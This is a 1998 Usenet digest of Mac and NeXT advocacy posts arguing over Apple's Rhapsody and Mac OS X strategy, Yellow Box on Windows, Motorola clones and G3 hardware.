May 98: "Windows 98 is not merely an important next step forward in
innovation for the PC users, it's also the spark that will light a torch of
opportunity for every one of the companies present on this stage and many
more across the country."
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <EtBF7n.JM2@midway.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago -- Academic Computing Services
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <EtABG0.L64@midway.uchicago.edu> <joe.ragosta-2105980834550001@wil111.dol.net>
Date: Thu, 21 May 1998 16:30:03 GMT
Of course not, they make closed systems.
Jon
--
To reply to me, please remove the _ from my email address.
Joe Ragosta wrote in message ...
>In article <EtABG0.L64@midway.uchicago.edu>, "Jonathan Eric Miller"
><_jemiller@midway.uchicago.edu> wrote:
>
>> The last I heard Apple wouldn't even give Be the details on the G3, so,
they
>> couldn't port their OS to it. Doesn't sound like Apple is being to open
to
>> me.
>
>Be shouldn't need to get the G3 info from Apple. They should be getting it
>from the vendors (Motorola and IBM).
>
>As for the other motherboard information, that's been discussed ad
>nauseum. Apple has no obligation to assist their competitors. And it
>wouldn't make sense for them to do so.
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 21 May 1998 12:50:36 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k1m0s$613$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <ericb-2005981951380001@132.236.171.104> <6jvr4l$38a$1@crib.bevc.blacksburg.va.us> <ericb-2105981135480001@132.236.171.104>
In article <ericb-2105981135480001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> In article <6jvr4l$38a$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > You do realize that the YB frameworks on OS X (well, Rhapsody) and Windows
> > are built from virtually the same code base, don't you? There are very
> > few OS dependencies, mostly in the window server and nmserver and such,
> > not in the frameworks themselves. Enhancements to the frameworks ought
> > to be portable.
> That doesn't mean Apple will port them, and a decision not to do so is
> likely going to be a political one rather than one based on the technical
> difficulty of porting.
If they don't, then there's little point in providing Yellow/Windows in
the first place because you lose cross-platform ability. And that ability
is strategically important to Apple, as I hope you're able to realize.
> > I can't think of anything they've done recently that calls their
> > commitment to YB/Windows into question.
> They have moved away from their commitment to a cross-platform solution
> without reaffirming that they will support YB on the x86 over the long
> term.
Their Rhapsody/Intel plans are _orthogonal_ to their Yellow/Windows
plans. The motivations for keeping/killing each are _completely
different_.
> > > I see no direct, unambiguous statements from Apple officials in this
> > > article that state that Apple is committed to the x86 beyond this fall.
> > That's because they're not. 1.0 will be the last release of Rhapsody,
> > and they have no plans for MacOS X on x86.
> You just said it yourself: Apple is not committed to the x86.
I meant with an OS.
> I take that to mean both YB/Windows *and* Rhapsody/Intel.
Well, don't, because that's not what I meant and you have no evidence to
support the former.
> > There are various statements, reported on Stepwise and elsewhere, that
> > YB/Windows is an integral part of Apple's long-term strategy. It's up
> > to you what you choose "long-term" to mean. Note, however, that they
> > have _not_ made similar statements about Rhapsody/Intel, which is ending
> > after 1.0. They are making a distinction.
> As I have said, I have trouble believing Stepwise when so many peope here
> fault MacWeek for doing the same thing: not offering a direct quotation
> from an Apple official.
Stepwise didn't have direct quotations for much or any of its reporting
as far as I can tell, but that doesn't mean it's all a bunch of lies.
> Once again, where is there a *direct* quotation from and Apple official
> which clearly indicates long-term development of YB/Intel?
I wasn't there! There are multiple WWDC attendees in this newsgroup who
have said that this was stated at WWDC. The fact that NT5 support
is planned should tell you that it's at least going to last longer
than fall. I choose to believe they're telling the truth. Would you
refuse to believe them if they can't produce a tape-recorded quotation??
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 21 May 1998 13:07:32 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k1n0k$62p$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jq20b$khp@newsb.netnews.att.com> <ericb-2005981940250001@132.236.171.104> <35642793.C2A7D977@milestonerdl.com>
In article <35642793.C2A7D977@milestonerdl.com>, m rassbach <mark@milestonerdl.com> wrote:
> And, at this time, they are right...YB *IS* Apple's cross-platform option.
> Most of these people are 'from' the StepWise site,
Uh, no. Scott is "from" Stepwise. Don could be "from" Stepwise.
The rest of us trust the accuracy of Stepwise's reporting.
> I've hashed out your point - make an announcement/the future of YB as a
> cross-platform API is questionable. And, no matter HOW much you post, you are
> not going to change their view.
Bingo. Because, unlike you, we have asked the question: what is it
in Apple's interests to do? How are you going to prevent developers
from abandoning the Mac market for Windows, or attract new developers
to the Mac market, if you don't give them access to the Windows market?
And they are _clearly_ pushing Yellow on MacOS X as a long-term solution.
Why would they push a different long-term solution on Windows?
You can doubt Yellow on Windows all you want, but it simply makes no
sense to get rid of it and a lot of sense to keep it.
Furthermore, look at all the trouble they've gone through on its behalf:
they're ditching DPS in the imaging model so they can reduce YB/Windows
licensing fees to zero. That isn't a light decision. And they've stated
their intent to reduce them to zero by the time MacOS X ships, which
implies that it will be around _at least_ that long. They've stated
plans to have it working on NT5/98 (I hope by now you admit by now that
this is undeniable), which is a pretty senseless thing to work on if
they're going to immediately ditch it.
> Perhaps you can find an old post in which the
> long-term option of Rhaphody on Intel was brought up, and how they said it WAS
> going to be long-term...but I don't remember anyone asking that/getting an
> answer.
Right. I don't think anyone said it would. There were people who said
that they wanted it, there were people who gave reasons why they thought
it would be an advantage (though without denying the drawbacks), there
were people who said that it _would_ ship, but I don't remember anyone
who said that it _would_ be around for the long term.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 13:18:46 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-2105981318470001@192.168.0.3>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <35639860.0@news.depaul.edu> <slrn6m774a.dai.jason@jhste1.dyn.ml.org> <joe.ragosta-2105980831500001@wil111.dol.net>
In article <joe.ragosta-2105980831500001@wil111.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
:I never denied that. But what I said is that they had _one or two_ 300 MHz
:machines--not enough to sell.
Well you're still wrong, because they had more than _one_ or _two_
running at the expo. They had a whole row of the things set up. Huge
booth.
:It's very common for companies to come out with some great demo product
:and announce it. The only problem is that it's many months before you can
:get it.
If they had only one semi-hidden in the back then I would agree, but
Motorola was displaying their 6000s just as prominently as their 5000s.
:How many months elapsed between the time Power Computing announced the
:availability of PowerBase machines and the time they actually started
:shipping? At least 4 months (I know--I was on the waiting list).
For some configurations folks had to wait that long, others got theirs
in less than 3.
:It was easy for Motorola to announce a 300 MHz CHRP box last August.
And it was easy for them to bring a bunch for folks to play with. Lots
of hands on demos were being given. The crowd's response was exceedingly
positive, especially when Motorola mentioned their 5 year warranties...
:just don't believe it could have shipped in quantity. Heck the 233 and 266
:MHz Macs were only shipping in quantity in October and the 300 MHz G3 chip
:wasn't even _announced_ until February.
Who cares if they could have shipped the 300MHz machines then, the
6000s running at 266MHz were still more expandable and faster than Apple's
266MHz G3s. Motorola *certainly* could have shipped those within a
reasonable time frame.
:Of course, you might be arguing that Motorola really _could_ make
:quantities of 300 MHz G3 chips with 1 MB 300 MHz L2 last August and they
:just withheld these chips from Apple until February.
They would have had to use 1MB 300MHz L2 caches. They could easily have
used a smaller size or slower speed or both. The speed wouldn't have been
as great, but they'd still be a lot more expandable.
: If that's your
:argument, though, it would tell a different story about who the bad guy is
:here.
No, it wouldn't. Apple was late with their designs, and when it comes
right down to it, Apple's designs just weren't as good.
-Eric
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Procrastination pays: Yellow Box to join Newton
Date: 21 May 1998 13:18:04 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k1nkc$643$1@crib.bevc.blacksburg.va.us>
References: <laranzu-1905982220120001@dd197.spirit.net.au> <6jppu9$rha$1@crib.bevc.blacksburg.va.us> <laranzu-2205982036490001@dd240.spirit.net.au>
In article <laranzu-2205982036490001@dd240.spirit.net.au>, laranzu@spirit.com.au (Hugh Fisher) wrote:
> In article <6jppu9$rha$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > You're very much mistaken. It sounds like you're another one of those
> > people who listened to the Monday keynote at WWDC and didn't pay
> > attention to anything else after that. First, since MacOS X _is_
> > Rhapsody, why _wouldn't_ we see Yellow on OS X? Second, Apple is
> > putting a _lot_ of effort into enhancing Yellow, far more effort than
> > can be justified for something they're going to kill, especially in
> > Apple's current "kill anything that's not going anywhere before we sink
> > any more money into it" climate.
> First, because MacOS X doesn't have Display PostScript. NextStep/Yellow
> Box relies on DPS for it's imaging.
Uh, hello?? In its graphics/imaging session, it said that Yellow would
work on the new imaging model. And it's not that much of a stretch --
as they've said, all of the PostScript functions (PSmoveto(), etc.) will
still work, they're just not going through a PostScript _interpreter_
anymore but mapping onto PDF.
> Second, Apple put a lot of effort into Copland. (I still have the
> Apple Directions 1996 "Why MacOS 8 is important") They put a lot
> of effort into Taligent. Doesn't mean they won't kill things.
Great logic, there. "Apple has killed things in the past. Therefore they
will kill Yellow on OS X". Guess what, Apple has also _not_ killed
things. It depends on what _makes sense for them_.
> > Don't be absurd. Yellow Box isn't any more redundant on OS X than it
> > was on Rhapsody. And why on earth would Apple bury the best development
> > environment on the planet, when it works just fine on their operating
> > system?? They know that they can't get the big developers to port
> > huge existing code bases to Yellow, but what does Apple gain by not
> > encouraging _new_ developers to use Yellow? Shoddier apps that have a
> > greater time-to-market, not exactly something Apple needs right now.
> Well, Apple buried OpenDoc. And Apple have decided that what they
> need is Adobe/Macromedia/Microsoft, not new developers.
Didn't I just tell you not to be absurd?
Apple will _die_ if they just sit around with the same set of developers
forever, and they know this.
> >> Huh??? Why would they need a dual code tree? (Well, there are minor
> > hardware dependencies, but the vast majority of the code is
> > OS-independent. Carbon of course won't be on Intel, but that doesn't
> > affect any of the non-Carbon code tree.)
> NextStep/YellowBox had code to draw menus, dialogs, controls, window
> frames, fonts, etc. All that *was* in Display PostScript. No DPS in
> MacOS X = somebody has to change it.
Not at all. Like I said, it sounds like you're another one of those
people who listened to the Monday keynote at WWDC and didn't pay attention
to anything else after that. In particular, you didn't pay attention to
the graphics session.
> > Anyway, it looks like they're going to kill their OS offering on Intel.
> Very true, and in fact I'm more optimistic about YellowBox since I've
> seen the StepWise stuff about Rhapsody for Intel being dead. Now there
> will presumably be a Win95/NT version using Windows look and feel, and
> a MacOS X version built on Carbon. A cross-platform MacApp.
Yellow built on Carbon?? Why on earth would they build it on Carbon?? It
already runs fine _without_ Carbon.
> > That's pretty funny. Why sink all this time, effort, and money into
> > it then? Why were half the WWDC software sessions on Yellow? Why are
> > they encouraging developers to use it for OS X development? Do you
> > think Apple can afford to burn developers again?
> Talked to any OpenDoc developers lately? Or how about Newton developers?
Yup, people just love bringing those up. There are infinitely more
reasons to keep Yellow around than OpenDoc or Newton, and I and numerous
others have pointed these out, but everyone persists in treating all
Apple technologies as exactly the same.
> > What do you think Apple stands to gain by killing YB on OS X?
> Less software to support?. Adobe/Microsoft/Macromedia/CodeWarrior have
> all signed up for Carbon, and the computer press at least is reporting
> general dancing in the streets following the Carbon announcements.
Less software to support in the short term translates into more headaches
in the long term. Carbon simply is _not_ a good API compared to Yellow,
and it's not going to remain competitive forever.
> Steve Jobs killed OpenDoc, to general (not all) approval and the stock
> price went up. Killed Newton to general disapproval, but the stock
> market liked it anyway. Right now Apple could put a knife into Yellow
> Box and nobody important (from Apples perspective) would mind.
Up until the point that it kills Apple in the long run.
> > Troll.
> Cynic.
No, a cynic would be someone who doubts everything Apple says and doesn't
believe that they're come through on anything. Which would be you.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 10:16:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B189AF72-1DB71@206.165.43.125>
References: <joe.ragosta-2105980831500001@wil111.dol.net>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
>
>Of course, you might be arguing that Motorola really _could_ make
>quantities of 300 MHz G3 chips with 1 MB 300 MHz L2 last August and they
>just withheld these chips from Apple until February. If that's your
>argument, though, it would tell a different story about who the bad guy is
>here.
>
But they were planning on selling them at a pretty hefty price, no? Until
the supply of 300MHz parts increased, obviously the price would stay high,
regardless of who was selling the parts. However, Motorola and IBM would
have had incentive to make MORE parts, faster, if they had known that more
than one manufacturer was going to be selling them.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 10:17:03 -0700
Organization: Primenet Services for the Internet
Message-ID: <B189AFBC-1ECBF@206.165.43.125>
References: <*johnnyc*-2105981000080001@jchristie.halifaxcable.dal.ca>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Christie <*johnnyc*@or.psychology.dal.ca> said:
> You're thinking of PREP. This is a totally different animal. MS never
>shipped for CHRP and pulled out long before Moto's first hardware. Sun,
>IBM, etc. also pulled out.
Nope. PReP = CHRP, unless you want to run MacOS.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 21 May 1998 12:12:02 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k15mi$giu$1@ns3.vrx.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <6jplnc$kiv$3@brownfox.svs.com>
<maury-1805981757210001@ts32-15.tor.istar.ca> <3563c4fc.0@news.camtech.net.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: timothyp@tne.net.au
In <3563c4fc.0@news.camtech.net.au> "timothyp@tne.net.au" claimed:
> So you would say Apple has sorted out the problems with graphics UI speed
in DR2
> (at least on PowerPC)?
This didn't seem to be a problem with the graphics side at any point, as
far as I could tell all of the problem was placed elsewhere - horrid disk
drivers, little or no caching of anything, little tuning. Our app's graphics
side in a tracking loop ran fine.
> Just how responsive does it seem now?
Faster than my box running OS4.2, NT or (on the Mac side) MacOS. Once we
get the Intel version, I'm upgrading.
> is my major gripe with Mac OS, I would be interested to know how much
better
> Rhapsody DR2 is.
LOTS better - than DR1 at least. Like "I can't believe this is the same
OS". Some things still seem sticky, but most of the time it just cranks. Of
course being on a G3 doesn't hurt - like I said when people see this thing
they won't even try to claim that G3's are lots faster than P-II's.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 09:59:16 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2105980959160001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu> <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com> <*johnnyc*-2005981806030001@jchristie.halifaxcable.dal.ca> <rex-2005981945290001@192.168.0.3> <joe.ragosta-2005982102190001@elk106.dol.net> <rex-2005982242410001@192.168.0.3> <see-below-2005982000250001@209.24.242.183> <rmcassid-2005982039410001@dialin9043.slip.uci.edu> <rex-2105980719200001@192.168.0.3>
In article <rex-2105980719200001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> Only if they continued to ship their own motherboards. They should have
>just dropped them and switched over to boards from Motorola and IBM. Apple
>still could have made money off of the cloners because they controlled the
>OS licensing.
Margins still would have gone to zero on hardware. Apple would *only* be
making money on the OS license and would always lag Mot on offerings
(since Mot/IBM are making the chips and motherboard, they would always
give themselves top priority)
To compare, Apple pulls in at least $400-$500 on the new G3 boxes. More on
the higher-end ones. And the number of units shipped is continuing to
increase. They could never get the cloners to pony up that kind of money.
>:Apple *certainly* wouldn't be the company it is today had Mot been able
>to go forward.
>
> Still, it's Apple's own fault for getting themselves into such a
>position. They could have made the Mac OS run on PReP machines by placing
>their custom Mac I/O subsystems on a PCI card, but they chose not too.
>They even prevented a third-party from attempting to. The sad thing is
>that PReP machines still have better throughput than all but Apple's most
>recent designs.
True, but one key to a turnaround like this is to maintain steady
improvement. Had Apple gone straight from a 8600/300 to a G3/300 with 2-3x
the performance, Apple would have received cheers, but what then? Not
deliver 400MHz for an additional 30% improvement for a year? Right now
we'd be hearing about how Apple had stalled and only had one good idea to
offer in their recovery. This way they get steady improvement, which will
get more people to pay a premium for more often. The PReP machines might
have had better throughput but Apple would have been criticized for
delivering such a brain dead OS to it. Apple has a multitude of problems
they need to fix simultaneously.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 21 May 1998 10:01:23 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2105981001230001@dante.eng.uci.edu>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125> <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <EtABG0.L64@midway.uchicago.edu> <rmcassid-2005982026030001@dialin9043.slip.uci.edu> <35642DA3.5747E5F9@milestonerdl.com>
In article <35642DA3.5747E5F9@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
>Or, it's a smoke screen to justify the move away from Niche hardware to
Mainstream
>hardware.
Mark, do we need to send you more tinfoil? Did the last stuff fall off so
soon? Maybe put a snug hat over it next time...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 21 May 1998 10:09:43 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2105981009430001@dante.eng.uci.edu>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <6jplnc$kiv$3@brownfox.svs.com> <maury-1805981757210001@ts32-15.tor.istar.ca> <3563c4fc.0@news.camtech.net.au>
In article <3563c4fc.0@news.camtech.net.au>, "timothyp@tne.net.au"
<timothyp@tne.net.au> wrote:
>Just how responsive does it seem now? Given that this
>is my major gripe with Mac OS, I would be interested to know how much better
>Rhapsody DR2 is.
Well, CNN Interactive and news.com load on OmniWeb on DR2 virtually
instantly, maybe a second - the whole page, all graphics, everything just
pops up at once - it's *really* impressive. CNN takes 6 seconds to load
under 8.1 w/ Navigator 4.0.4 on a G3/266 by comparison (same networking
performance, nothing cached, both done within seconds of one another etc.)
Cudos to Omni and Apple.
-Bob Cassidy
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: How not to do USB
Date: 21 May 1998 17:31:44 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6k1oe0$anu@newsb.netnews.att.com>
Originator: gupta@tlctest
The Not-so-universal serial bus :
http://www.infoworld.com/cgi-bin/displayNew.pl?/odonnell/odonnell.htm
(for the week May 16-22).
There are two, sometimes incompatible, controllers for USB :
UHCI and OHCI !!
Anyway read the article. Perhaps Apple will get it right.
The PC world rarely does.
-arun gupta
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Objective C++ (was Re: Infoworld on the Yellow Box's future)
Date: Thu, 21 May 1998 10:10:44 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2105981010440001@dante.eng.uci.edu>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu> <35633314.0@206.25.228.5> <6jvcc4$2i5$1@crib.bevc.blacksburg.va.us> <6k07o4$gc0$1@news.digifix.com>
In article <6k07o4$gc0$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> They syntax issue is resolved. The traditional Objective-C
>syntax is staying.
But are they officially changing the name to Objective-C++? I smell marketing...
-Bob Cassidy
From: simpson@nospam.cts.com (Michael Simpson)
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody on Tanzania?
Date: Thu, 21 May 1998 17:41:39 GMT
Organization: QUALCOMM, Incorporated; San Diego, CA, USA
Message-ID: <35646689.12560080@news>
I have the StarMax 604e/200 Tower. No modifications. Can I get
Rhapsody DR2 installed onto the machine? The installer reports that
the machine is unsupported and that set startup disk control won't
work. Then it does a restart. Help if you can.
Otherwise, I'm going to be hard pressed to explain to my wife that I
need a new Mac to do YB development. (I told her the StarMax would be
enough for several years...last August)
Michael
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Thu, 21 May 1998 10:22:49 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2105981022490001@dante.eng.uci.edu>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <356334fd.0@206.25.228.5> <35634FEE.14EC681@milestonerdl.com> <3563c5b1.0@206.25.228.5> <6k1gn1$po4@nntp02.primenet.com>
In article <6k1gn1$po4@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
>The "advocacy machine" has been amazingly good at ignoring what Apple has
>said it would do. Most recently Steve has said that Yellow Box has been
>folded into a larger Java stragegy. I'm not sure what that means, but I
>think it should be a cautionary note to Yellow Box developers. It may be
>that Steve is looking for a cheap cross-platform solution, rather than the
>best possible cross-platform solution.
I think it is only a ploy to get Java developers on Windows to look at
Apple's alternate and superior framework. I see it as an attempt to infect
Java with YellowBox, not degrade YB with Java. He's making YB more
attractive, in other words. He's also making Obj-C more attractive by
calling it Obj-C++, it seems. It's all word games.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Thu, 21 May 1998 10:29:43 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2105981029430001@dante.eng.uci.edu>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <see-below-1905982104420001@209.24.240.108> <6jttav$lh$1@msunews.cl.msu.edu> <6k02bm$6cv@newsb.netnews.att.com> <35644307.6FBF4A83@nstar.net>
In article <35644307.6FBF4A83@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>And what do you know? Sun's committment to Solaris on Intel has been one
>of the major reasons Sun has signed licensees for Solaris on Merced. And
>Apple wonders why nobody wants to play...
That's a good point. I'd be interested to hear a response to that point
from Apple.
-Bob Cassidy
From: anders@common.se
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Thu, 21 May 1998 17:45:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6k1p6t$lsj$1@nnrp1.dejanews.com>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us> <markeaton-1905982112330001@user-38ld608.dialup.mindspring.com>
In article <markeaton-1905982112330001@user-38ld608.dialup.mindspring.com>,
markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> Alii are actually quite powerfull. I won't get into a religious debate
> with Unix-heads. Wait and see what MacOS X gives you before writing it
> off.
Diagnose me as anal, but "alias" has no latin plural. It's an adverb (at
another time), like alibi (in another place). The plural of the English noun
is aliases.
I won't get into the religious debate either :-)
> Additionaly, as was stated at the Core OS: File Systems talk, MacOS X will
> have support for volume formats other than HFS+.
Is this restricted to YB/BSD?
/A
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Date: Thu, 21 May 1998 13:46:54 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Message-ID: <joe.ragosta-2105981346540001@wil125.dol.net>
References: <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jv1bk$hu3@flonk.uk.sun.com> <see-below-2005981828050001@209.24.242.183> <joe.ragosta-2105980915370001@wil138.dol.net> <35643656.0@206.25.228.5>
In article <35643656.0@206.25.228.5>, jkheit@xtdl.com wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > If NeXT was breaking even on Intel, there's no reason that Apple
> > couldn't be making money on it.
>
> There is a reason. The theory being that they will lose an greater
> amount on lost hardware sales. I think this can easily be aliviated
> by two factors:
>
> 1) Price hike on the Rhap Intel port. Sell it for $495. Since
> most of that is pure profit, that should make up for lost margin
> on their hardware per unit basis.
>
> 2) Sheer volume. The huge amount of intel machines out there
> running intel hardware can buy up more copies of Rhap Intel than
> apple is likely to sell hardware units anytime soon. Many of which
> act as ISPs and webhosts and would love a kewl Rhap like OS (and
> likely advertise the fact that they are run under Rhap for free--kind
> of an invaluable side benefit).
I agree. Jordan posted a message on Rhapsody digest that Apple would need
to generate $100 million in revenues to justify the continuation of
Rhapsody/Intel.
That's $100 for 1 million customers. When you consider that there are
reports of 10 million Linux licensees (at probably $25 average), that's
not out of the question.
>
> Apparently apple bubble wrapper strategic thinkers think differently
> on the subject. Again, on the surface to me it seems quite a stupid
> move on numerous levels. However, I'm hopeful that there is inside
> info we're not privy to that makes this a wise move (though the
> manner of pre-announcing product death seems almost always a stupid
> move, but we'll never know for sure).
It's pretty clear that the reason is that they didn't want to risk losing
hardware sales now that they're going strong.
Pre-announcement? Two possible reasons:
1. They don't want any potential Rhapsody customers looking at new
computers this summer buying Intel. This would be important because they
are just starting to do well and if they stumble this summer, the "Apple
is dying" crap will be back.
2. If you feel generous, you could say that they don't want anyone
investing in hardware which will be obsolete in a year. IOW, if someone
buys a new computer specifically to run Rhapsody, they don't want to hear
all the screaming in 1999 about their 1 year old computer no longer being
supported.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 21 May 1998 13:40:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2105981340080001@wil125.dol.net>
References: <joe.ragosta-2105980831500001@wil111.dol.net> <B189AF72-1DB71@206.165.43.125>
In article <B189AF72-1DB71@206.165.43.125>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >Of course, you might be arguing that Motorola really _could_ make
> >quantities of 300 MHz G3 chips with 1 MB 300 MHz L2 last August and they
> >just withheld these chips from Apple until February. If that's your
> >argument, though, it would tell a different story about who the bad guy is
> >here.
> >
>
> But they were planning on selling them at a pretty hefty price, no? Until
> the supply of 300MHz parts increased, obviously the price would stay high,
> regardless of who was selling the parts. However, Motorola and IBM would
> have had incentive to make MORE parts, faster, if they had known that more
> than one manufacturer was going to be selling them.
Baloney.
